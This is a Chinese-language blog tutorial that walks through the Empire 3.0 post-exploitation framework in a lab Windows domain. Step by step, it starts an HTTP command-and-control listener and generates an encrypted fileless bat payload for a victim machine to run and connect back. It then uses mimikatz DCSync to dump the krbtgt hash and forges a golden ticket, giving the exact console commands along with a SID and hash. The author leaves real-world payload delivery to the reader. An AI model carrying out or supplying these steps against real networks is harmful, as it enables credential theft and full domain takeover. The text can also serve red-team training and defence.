渗透测试神器Empire3.0初探
经历漫长的等待后,后渗透测试神器 Empire 终于迎来了多项重大功能升级的 3.0 版本(https://github.com/BC-SECURITY/Empire/)。
Empire 是一款类似 Metasploit 的 PowerShell 可视化后期渗透测试框架,建立在密码安全通信和灵活的架构上。Empire 实现了无需 powershell.exe 就可运行 PowerShell 代理的功能,可快速部署后期漏洞利用模块,从键盘记录器到 Mimikatz,并且能够适应通信躲避网络检测,所有的这些功能都封装在一个以实用性为重点的框架中
具体更新内容见[链接](https://www.aqniu.com/industry/60507.html
,其中最令人激动的是mimikatz 2.2.0 也被集成到其中,让mimikatz在windows 10上运行成为可能,接下来我们通过实验验证一下使用Empire在windows域环境下获取黄金票据的过程
0x01 环境准备
- 已加域的Windows 10 (1903)
- 一台Linux服务器(已安装Docker)
为了简化环境准备,我们直接使用Empire的docker版本
0x02 Empire部署
- Empire 部署很简单,你可以在kali Linux上执行以下命令完成本地部署
git clone https://github.com/BC-SECURITY/Empire.git
cd Empire
sudo ./setup/install.sh
- 也可以基于Docker的部署,这种方式非常简单,在已经安装好Docker的Linux环境下执行以下命令即可
docker run -it --rm --network=host bcsecurity/empire
这里我们直接把宿主机的网络映射给容器
启动0x03 启动监听
接下来要启动一个监听端口,用来接收C2连接
start listener.png
- 执行
listeners
查看监听,当前没有活跃的监听 - 执行
uselistener http
准备开启一个http的监听端口 - 执行
info
命令可以查看模块的参数列表,这里我们需要设置端口 - 执行
set Port 9090
配置监听9090端口 - 执行
execute
list listeners.png
0x04 投递Playload
我们需要制作一个payload并投递到受害者的机器上,目标机器运行payload会主动连接到我们的C2监听端口。Empire的usestager
命令可以生成对应平台的payload,输入usestager
空格然后敲两下tab键可以带出所有支撑的脚本类型,这里我们生成一个windows bat格式的payload,如下图
执行完
execute
会看到目标脚本的保存位置,payload是一个加密的bat的脚本,只有在执行的时候会将解密的内容写入内存,也属于一种无文件的payload。launcher script
将生成的payload文件投递到目标主机,为了简化后面的步骤我们直接在目标windows10靶机上用管理员账号登录运行该脚本,而实战过程中就要各显神通了。。。
connecting.png目标主机执行bat脚本以后,C2服务器会有相应的提示,执行
agents
可以查看session信息
0x05 爆破
进入session
因为前面已经假设说我们执行payload的账号有管理员权限,所以这里就直接冲着DCSync去了,执行interact
命令并且输入前面的session名,开启交互模式,rename
可以修改session名
获取sid
执行以下命令调查询sid
(Empire: test) > usemodule management/user_to_sid
(Empire: powershell/management/user_to_sid) > set Domain cnb
(Empire: powershell/management/user_to_sid) > set User krbtgt
(Empire: powershell/management/user_to_sid) > execute
sid
使用
usemodule
加载模块以后,可以使用info
命令查看参数列表
获取krbtgt
执行以下命令获取krbtgt
(Empire: N5H34DLF) > usemodule credentials/mimikatz/dcsync
(Empire: powershell/credentials/mimikatz/dcsync) > set user cnb\krbtgt
(Empire: powershell/credentials/mimikatz/dcsync) > set domain cnb.xx.com
(Empire: powershell/credentials/mimikatz/dcsync) > execute
dcsync.png
获取golden ticket
从上面的结果可以看到krbtgt的信息包括sid和ntlm,根据上述信息可调用golden_ticket
模块可以组装黄金票据
(Empire: N5H34DLF) > usemodule credentials/mimikatz/golden_ticket
(Empire: powershell/credentials/mimikatz/golden_ticket) > set user admin
(Empire: powershell/credentials/mimikatz/golden_ticket) > set sids S-1-5-21-1045149118-3891864444-2112197780
(Empire: powershell/credentials/mimikatz/golden_ticket) > set krbtgt cfabde9c8ee99d865fbab6028ed6bbe8
(Empire: powershell/credentials/mimikatz/golden_ticket) > execute
image.png
可以看到黄金票据已经构建出来了。
Empire 本身是一个非常强大的渗透测试框架,里面集成的模块还有很多,具体可以查看官方的说明文档。另外,在测试过程中,笔者也发现,似乎这里的C2连接也不是很稳定,经常出现执行一个模块导致连接直接断掉。。